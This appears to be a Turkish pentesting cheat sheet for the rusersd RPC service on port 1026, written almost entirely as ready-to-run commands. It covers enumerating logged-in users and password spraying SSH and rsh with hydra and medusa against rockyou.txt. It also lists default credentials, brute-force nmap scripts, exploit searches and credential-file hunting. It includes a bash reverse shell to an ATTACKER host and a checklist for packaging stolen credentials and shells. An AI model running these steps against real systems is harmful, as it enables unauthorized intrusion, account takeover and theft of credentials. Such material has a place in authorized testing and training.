Skip to content

1026 - Pentesting Rusersd

rusersd enum

rusersd RPC üzerinden oturum açmış kullanıcıları sızdırır; parola istemez. Çıktı sonraki spray için kullanıcı listesidir.

  1. rpcbind ile rusers bul.

  2. rusers -a ile kullanıcıları çek.

  3. Listeyi dosyaya yaz.

  4. rsh/SSH spreyi ile doğrula.

Terminal window
nmap -Pn -sU -sV -p111,1026 TARGET
Terminal window
rpcinfo -p TARGET
Terminal window
nmap -p111 --script rpcinfo,rusers TARGET
Terminal window
rusers -a TARGET
Terminal window
rusers -l TARGET
Terminal window
rusers -a TARGET | awk '{print $1}' | sort -u > users.txt
Terminal window
hydra -L users.txt -P rockyou.txt ssh://TARGET -t 4
Terminal window
rsh TARGET -l $(head -1 users.txt) id

Rusersd için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p1026 TARGET
Terminal window
nmap -Pn -p1026 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:1026' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',1026));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → Rusersd
Terminal window
hydra -L users.txt -P rockyou.txt -s 1026 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 1026
Terminal window
nmap -p1026 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit rusersd
Terminal window
msfconsole -q -x 'search rusersd; exit'
Terminal window
nuclei -u https://TARGET:1026 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:1026 -tags tech -silent || true
Terminal window
nc -nv TARGET 1026
Terminal window
printf '
' | timeout 3 nc -nv TARGET 1026
Terminal window
curl -vk --http1.0 http://TARGET:1026/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
rpcinfo → rusers → users.txt → ssh/rsh spray